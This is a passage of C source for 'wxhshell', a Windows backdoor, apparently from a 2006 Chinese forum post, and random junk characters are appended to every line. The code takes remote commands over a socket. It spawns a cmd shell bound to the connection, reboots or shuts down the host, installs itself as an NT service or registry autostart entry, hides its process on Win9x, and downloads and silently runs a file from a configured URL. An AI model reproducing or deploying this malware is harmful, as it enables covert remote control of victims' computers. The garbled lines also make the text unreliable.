    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F9a^ED0l\  
    else u5+|Su  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 69OF_/23  
    break; p*20-!{A  
    } Z"y=sDO{  
  // 卸载 jQ+sn/ROp  
  case 'r': { ~b)74M/  
    if(Uninstall()) \)/yC74r7(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  }ptq )p  
    else !RH.|}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ba@ctkCW  
    break; _zMgoc7  
    } h@ )  
  // 显示 wxhshell 所在路径 y7)(LQRE {  
  case 'p': { ;j%BK(5  
    char svExeFile[MAX_PATH]; +&i +Mpb  
    strcpy(svExeFile,"\n\r"); &JP-O60  
      strcat(svExeFile,ExeFile); MTOy8 Im  
        send(wsh,svExeFile,strlen(svExeFile),0); [eUftr9&0  
    break; ~xLJe`"JUx  
    } T'H::^9:E  
  // 重启 ~*W!mlg  
  case 'b': { ye}p~&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jE\Sm2G9  
    if(Boot(REBOOT)) EYX$pz(x;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 04U")-\O  
    else { / JkC+7H4  
    closesocket(wsh); [7FItlF%I  
    ExitThread(0); XB59Vm0E=  
    } @]aOyb@  
    break; $*R/tJ.  
    } C3NdE_E  
  // 关机 H1n1-!%d  
  case 'd': { \QE)m<GUe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 67SV~L#%O  
    if(Boot(SHUTDOWN)) @&|l^ 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wV\gj~U;P  
    else { ={>Lrig:l  
    closesocket(wsh); 0 &_UH}10  
    ExitThread(0); : j }fC8'  
    } <Z}SKR"U%  
    break; ^z6_Uw[  
    }  ,Uhb  
  // 获取shell )B,|@ynu  
  case 's': { a ] =  
    CmdShell(wsh); fjk\L\1  
    closesocket(wsh); o6 E!IX+  
    ExitThread(0); +5VLw  
    break; z4M9M7)"  
  } ABE@n%|`  
  // 退出 #jA[9gWI  
  case 'x': { w }Uhd ,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +6wiOHB`  
    CloseIt(wsh); M" ^PW,k  
    break; ] e. JNo  
    } +)o}c"P!  
  // 离开 AKMm&(fh%  
  case 'q': { b4^`DHRu6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]BR,M4   
    closesocket(wsh); J+d1&Tw&  
    WSACleanup(); [kE."#  
    exit(1); pvmC$n^zc  
    break; jReXyRmo({  
        } b[V^86X^  
  } K2%w0ohC  
  } aaD;jxT&M|  
AL>$HB$  
  // 提示信息 C8z{XSo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `{qG1  
} "*G.EiLq  
  } OS8q( 2z?s  
Y>'|oygHA  
  return; giz7{Ai  
} " Hd|7F'u=  
pAT7)Ch  
// shell模块句柄 +TXX$)3%  
int CmdShell(SOCKET sock) h@a+NE8  
{ 2RSt)3!},  
STARTUPINFO si; _a1x\,R|DB  
ZeroMemory(&si,sizeof(si)); Ol!ntNhXm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n=[/Z!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l+V>]?j  
PROCESS_INFORMATION ProcessInfo; !"Oh3 6  
char cmdline[]="cmd"; _4g.j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YpqrZWvh  
  return 0; >y,-v:Vy  
} rS;Dmm  
~ 0M'7q'  
// 自身启动模式 Cg(Y&Gxf.  
int StartFromService(void) <i,U )Tt^C  
{ irfp!(r  
typedef struct BqT y~{)+  
{ kBffF@{  
  DWORD ExitStatus;  P Y  
  DWORD PebBaseAddress; Y=Kc'x[,Zj  
  DWORD AffinityMask; Oeok ;:  
  DWORD BasePriority; pej|!oX  
  ULONG UniqueProcessId; MjU6/pO}L  
  ULONG InheritedFromUniqueProcessId; [EKQR>s)  
}   PROCESS_BASIC_INFORMATION; Om5Y|v"*  
}9FSO9*&}  
PROCNTQSIP NtQueryInformationProcess; I"ok&^t^}  
?U2<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,LnII  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <_-hRbS  
S Em Q@1  
  HANDLE             hProcess; xsD($_  
  PROCESS_BASIC_INFORMATION pbi; ax<?GjpM  
+8RgF   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }n>p4W"OM  
  if(NULL == hInst ) return 0; M r5v<  
j3{D^|0bP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y#3j`. $3p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `)_dS&_\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vbyH<LPz5  
# mV{#B=  
  if (!NtQueryInformationProcess) return 0; .N ,3 od@  
1ng!G 7g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N/MUwx;P  
  if(!hProcess) return 0; 2h5nMI]'  
YTUZoW2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .K1FKC$C  
0.8  2kl  
  CloseHandle(hProcess); ww], y@da  
?#}N1k\S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s~5[![1 K  
if(hProcess==NULL) return 0; Bu#VMk chJ  
iKX-myCz  
HMODULE hMod; a,k>Q`  
char procName[255]; v|dBSX9k0  
unsigned long cbNeeded; e4? >-  
< t,zaIi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vex{.Vh,"  
W3MJr&p  
  CloseHandle(hProcess); #h` V>;  
n*[XR`r}  
if(strstr(procName,"services")) return 1; // 以服务启动 n\*!CXc  
fF7bBE)L/|  
  return 0; // 注册表启动 S4Y&  
} )u[emv$  
0IBhb(X  
// 主模块 ;f#v0W`5  
int StartWxhshell(LPSTR lpCmdLine) ,!#*GZ.ix  
{ &"&Z #llb  
  SOCKET wsl; ,JAx ?Xb  
BOOL val=TRUE; Yc_8r+;(  
  int port=0; 4|riKo)  
  struct sockaddr_in door; gQ Fjr_IS#  
O}-jCW;K  
  if(wscfg.ws_autoins) Install(); WrQDX3  
IzikDc10  
port=atoi(lpCmdLine); 5m\<U`  
dCi?SIN  
if(port<=0) port=wscfg.ws_port; 3x{ t(  
CZud& <  
  WSADATA data; xS4w5i2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sFT.Oxg<  
$q6BP'7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .}t~'*D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {o_X`rgrL  
  door.sin_family = AF_INET; $WyD^|~SF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vQosPS_2L  
  door.sin_port = htons(port); DS+}UO  
H?<N.Dq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n0r+A^]  
closesocket(wsl); JD)(oK%C  
return 1; IUE~_7  
} rI= v  
|=Eo?Q_  
  if(listen(wsl,2) == INVALID_SOCKET) { Cn'(<bl  
closesocket(wsl); '&x#rjo#  
return 1; |'P]GK  
} )97SnCkal  
  Wxhshell(wsl); R.jIl@p   
  WSACleanup(); R Q vft  
HePUWL'  
return 0; PDJr<E?  
c`J.Tm[_u  
} d4u})  
.a O,8M  
// 以NT服务方式启动 .L9j>iP9 *  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z.7cy@N6  
{ *7CV^mDm  
DWORD   status = 0; KK&rb~  
  DWORD   specificError = 0xfffffff; <;vbsksZeH  
JJP08 oP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~HTmO;HNf"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f!\lg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I8wXuIN_  
  serviceStatus.dwWin32ExitCode     = 0; /qMG=Z  
  serviceStatus.dwServiceSpecificExitCode = 0; Eo{"9j\  
  serviceStatus.dwCheckPoint       = 0; ozmrw\_}[  
  serviceStatus.dwWaitHint       = 0; pXrFljoYl[  
Li!Vx1p;u.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }+)fMZz  
  if (hServiceStatusHandle==0) return; 2)G %)'  
!TAlB kj  
status = GetLastError(); Ja,wfRq  
  if (status!=NO_ERROR) JLnH&(O  
{ pOGeru u?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %SX|o-B~.o  
    serviceStatus.dwCheckPoint       = 0; G9Y#kBr  
    serviceStatus.dwWaitHint       = 0; bSiYHRH.e  
    serviceStatus.dwWin32ExitCode     = status;  O{QA  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1;C+$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >pU$wq|i  
    return; i*|\KM?P  
  } K~AR*1??[  
A#Iyb){Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g l^<Q  
  serviceStatus.dwCheckPoint       = 0; BcL{se9<  
  serviceStatus.dwWaitHint       = 0; k jg~n9#T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q;R],7Re  
} ".W8)  
p~SClaR3H  
// 处理NT服务事件,比如:启动、停止  8cU}I4|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hWM< 0=  
{ @Fluc,Il  
switch(fdwControl) % W=b? :  
{ ruc++@ J@  
case SERVICE_CONTROL_STOP: ?j40} B]]d  
  serviceStatus.dwWin32ExitCode = 0; ,I7E[LU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @aAW*D~-J  
  serviceStatus.dwCheckPoint   = 0; v>$'iT~l  
  serviceStatus.dwWaitHint     = 0; !B\R''J5  
  { W~zbm]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 19HM])Zw\  
  } N9jH\0nG  
  return; UELy"z R  
case SERVICE_CONTROL_PAUSE: u -;_y='m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VRI0W`  
  break; >d,jKlh^.%  
case SERVICE_CONTROL_CONTINUE: wCr(D>iM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !D@ZYK;  
  break; ;*Ivn@L  
case SERVICE_CONTROL_INTERROGATE: C"!gZ8*\!9  
  break; N"" BCh"  
}; o$#G0}yn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =osv3>&q  
} +?:7O=Y  
*QwY]j%^  
// 标准应用程序主函数 }\%Fi/6Z{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F ~^Jmp7Y  
{ ,eTUhK  
lwrC pD .  
// 获取操作系统版本 rf>0H^r  
OsIsNt=GetOsVer(); gu0j.XS^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6G #}Q/  
v3aYc:C  
  // 从命令行安装 v*r7Zz6l  
  if(strpbrk(lpCmdLine,"iI")) Install(); x c/}#>ED  
l|/ep:x8  
  // 下载执行文件 (Dw,DY9  
if(wscfg.ws_downexe) { Tw""}|] g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V!lZ\)  
  WinExec(wscfg.ws_filenam,SW_HIDE); JT-J#Ag  
} ;\]b T;#  
np8gKV D  
if(!OsIsNt) { i+p^ ^t\  
// 如果时win9x,隐藏进程并且设置为注册表启动 5Ow[~p"l<  
HideProc(); <,[cQ I/  
StartWxhshell(lpCmdLine); K POa|$  
} do*EKo  
else M_"L9^^>N  
  if(StartFromService()) U.DDaT1  
  // 以服务方式启动 sE:M@`2L  
  StartServiceCtrlDispatcher(DispatchTable); rEB @$C^  
else -(  
  // 普通方式启动 n?- })  
  StartWxhshell(lpCmdLine); GT0Of~?f  
)%`^xR  
return 0; L3@82yPo!  
}
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只看该作者 1 发表于: 2006-10-10
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